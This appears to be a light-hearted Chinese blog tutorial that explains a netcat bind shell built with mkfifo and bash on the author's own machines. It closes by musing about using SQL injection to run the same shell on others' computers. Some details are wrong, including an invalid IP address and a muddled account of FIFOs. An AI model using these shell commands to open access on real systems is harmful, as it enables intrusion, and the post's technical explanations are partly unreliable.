从名字来看net加个cat, 就感觉这个东西啊, excited!
如果能够远程在别人的电脑里下个nc再执行一段代码, 别人知道后是会很angery的.
假如我有两台都装了linux和nc的电脑A和B.
电脑A: ip 192.168.0.233
电脑B: ip 192.168.0.450
我闲着蛋疼想用nc从电脑B弹个shell给电脑A用假装自己用电脑A黑进了电脑B一样, 首先我在电脑B上装上openbsd-netcat然后打了这么一串高级的东西:
$ mkfifo /tmp/tf
$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf
然后再自己跑到电脑A前打了这么一串:
$ nc 192.168.0.450 1234
好神奇啊, 电脑A的屏幕上就会出现这样的东西(用127.0.0.1的原因嘛, 毕竟穷只有一台电脑没办法)
试一下看看能不能用:
真的能用诶!
解释一下发生了什么.
在电脑B上首先用mkfifo创建了一个特别的fifo文件tf. 这个文件可就厉害了, 他是 First Input First Output的缩写,先入先出队列,这是一种传统的按序执行方法,先进入的指令先完成并引退,跟着才执行第二条指令. 弹出来的shell能一条一条执行全都靠它.
再看看后面的一长串天书:
$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf
分开来看
1.首先输出tf的内容. 再把tf的内容作为输入传给bash.
2.这里bash后面的-i (interactive) 代表交互式地运行bash. 所谓交互式就是有来有往, 一条输入, 一条输出. 后面的2>&1 代表把标准错误(2)重定向到标准输(1)出上去, &是为了区分标准输出 1 和文件 1(如果有的话). 其实也就是把标准错误和标准输出合并在了一起.合并完后的命令的输出不仅有标准输出还有标准错误.
3.最后把bash 管道到nc里面. 这边nc就是一个服务器, 监听端口1234 并且把网络输入传回给tf.
整条命令形成了一个环. 一开始tf里面什么都没有, bash把prompt信息(被当作标准错误) 输出到与nc建立连接的电脑A. 等我跑到电脑A前输入ls的时候, ls作为电脑B上nc的输出传给了tf. tf把ls作为输出又传给了bash. bash解释ls, 把目录内容作为输入,输出到电脑B的nc上. 这样站在电脑A前的我就能看到输出啦.
除了bash, 别的shell做得到吗?
python
lua
如果能用sql注入或者别的什么办法在别人电脑上执行电脑B上的命令, 应该不用跑到其他电脑前就能控制整个shell了吧. 真是可喜可贺可喜可贺.